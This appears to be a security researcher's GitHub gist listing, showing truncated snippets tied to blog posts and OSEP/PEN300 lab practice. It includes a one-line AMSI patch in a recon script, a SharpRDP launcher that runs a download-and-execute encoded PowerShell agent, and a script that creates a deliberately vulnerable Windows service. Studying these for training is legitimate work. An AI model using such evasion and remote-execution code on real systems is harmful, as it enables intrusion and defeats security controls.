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tahadraidia / Assets
Last active February 14, 2025 10:49
Frida Libc Write
Java.perform(function () {
var AAssetManager_open = Module.findExportByName("libandroid.so", "AAssetManager_open");
var AAsset_read = Module.findExportByName("libandroid.so", "AAsset_read");
var AAsset_getLength = Module.findExportByName("libandroid.so", "AAsset_getLength");
if (AAssetManager_open && AAsset_read && AAsset_getLength) {
console.log("[*] Hooking AAssetManager_open...");
Interceptor.attach(AAssetManager_open, {
onEnter: function (args) {
@tahadraidia
tahadraidia / golden_function.c
Last active May 28, 2023 15:05
Snippets parts of DWSec blog:
DWORD __fastcall sub_140006190() // renamed to golden_function
...
v12 = sub_140007980(); // Get handle info
if ( v12 )
{
logger_0(L"Error obtaining handle information: ");
if ( v12 == -1073741790 )
{
logger_0(L"Access denied\n\n");
@tahadraidia
tahadraidia / check_sip.c
Last active May 3, 2023 14:41
Snippets part of DWSec blog:
uint32_t get_sip(void) {
const char *sip_path = "/usr/lib/libSystem.dylib";
const char *sip_function = "csr_get_active_config";
void *libSystem = dlopen(sip_path, RTLD_LAZY);
if (!libSystem) {
printf("get_sip: Error loading libSystem.dylib\n");
return -1;
};
@tahadraidia
tahadraidia / Microsoft.Powershell_profile.ps1
Created January 10, 2022 11:04
Visual Studio Developer PowerShell Alias
Function RunDevShell {
Import-Module "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll";
Enter-VsDevShell ba5e788f -StartInPath $PWD
}
Set-Alias -Name DevShell -Value RunDevShell
@tahadraidia
tahadraidia / seh.asm
Last active December 23, 2021 11:39
Tiny ASM program that access ExceptionList and print some pointers out as educational purpose, with the idea to understand better SEH implementation in X86. This code was written along with this blog post: https://tahadraidia.com/posts/a_brief_dive_into_windows_structured_exception_handeling/
format PE console 4.0
include 'win32ax.inc'
section '.text' code readable executable
entry start
macro PrintPointer reg,string
{
@tahadraidia
tahadraidia / recon.ps1
Last active May 3, 2025 08:57
This script is part of PEN300 MSF script, this script could be represented as recon script bundle, for more details please see: https://tahadraidia.com/posts/automate-the-reconnaissance-phase/ #OSEP #PEN300 #Powershell #DOTNET
# Patch API
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int33[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Check if current user has permissions
# to write in C:\Windows\Tasks otherwise
# use public.
$Folder = "C:\Windows\Tasks"
$global:recondir = ""
$permission = (Get-Acl $Folder).Access | ?{$_.IdentityReference -match $env:USERNAME} | Select IdentityReference,FileSystemRights
If ($permission){
@tahadraidia
tahadraidia / lpeprintbug.cs
Last active December 1, 2021 06:09
Taking advantage of Assembly.GetManifestResourceStream for quick dirt hacks, for more details please read: https://tahadraidia.com/posts/taking-advantage-of-assembly.getmanifestresourcestream-for-quick-dirt-hacks/ #OSEP #CSHARP #DOTNET
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;
using System.Collections.Generic;
using System.Text.RegularExpressions;
@tahadraidia
tahadraidia / SharpRDPAgentLancher.ps1
Created November 30, 2021 14:44
The following script is an the adaptation of the initial script: https://tahadraidia.com/posts/make-sharprdp-an-assembly-loadable/ #OSEP #CSHARP #POWERSHELL
function Invoke-PowershellAgent {
[CmdletBinding()]
param (
[Parameter(Mandatory=$true)][string]$computer,
[Parameter(Mandatory=$true)][string]$username,
[Parameter(Mandatory=$true)][string]$password
)
$download_exec_agent = "C:\windows\system32\cmd.exe /c powershell -bypass exec -enc POWERSHELL_B64_AGENT"
$asm = Invoke-WebRequest -URI 'http://127.0.0.1/SharpRDP.exe' -UseBasicParsing | Select-Object -ExpandProperty Content
@tahadraidia
tahadraidia / Build.ps1
Created November 26, 2021 09:09
Quick Powershell script to build some vulnerable Windows environment could be useful to prepare for OSCP, OSEP. Please see: https://tahadraidia.com/posts/build-an-atomic-windows-lab/
function CreateVulnerableService {
$params = @{
Name = "P0wnMe"
BinaryPathName = "C:\foobar.exe"
}
New-Service @params -ErrorAction SilentlyContinue
sc.exe sdset P0wnMe "D:(A;;CCLCSWLORCRPDTCRWDWOWPDCSD;;;AU)"
}
function RemoveVulnerableService {
@tahadraidia
tahadraidia / pevalidator.c
Last active September 14, 2021 08:18
A Python module written in C that checks if a file is a valid PE using Windows API used to illustrate the idea on how to write a Python module in C because Hello words' are boring! Post: https://tahadraidia.com/lets-build-a-python-module-in-c.html
#include <Python.h>
#include <windows.h>
#pragma comment(lib,"kernel32.lib")
static PyObject* isValidPE(PyObject *self, PyObject* args)
{
LPSTR pfile = NULL;
if(!PyArg_ParseTuple(args, "s", &pfile))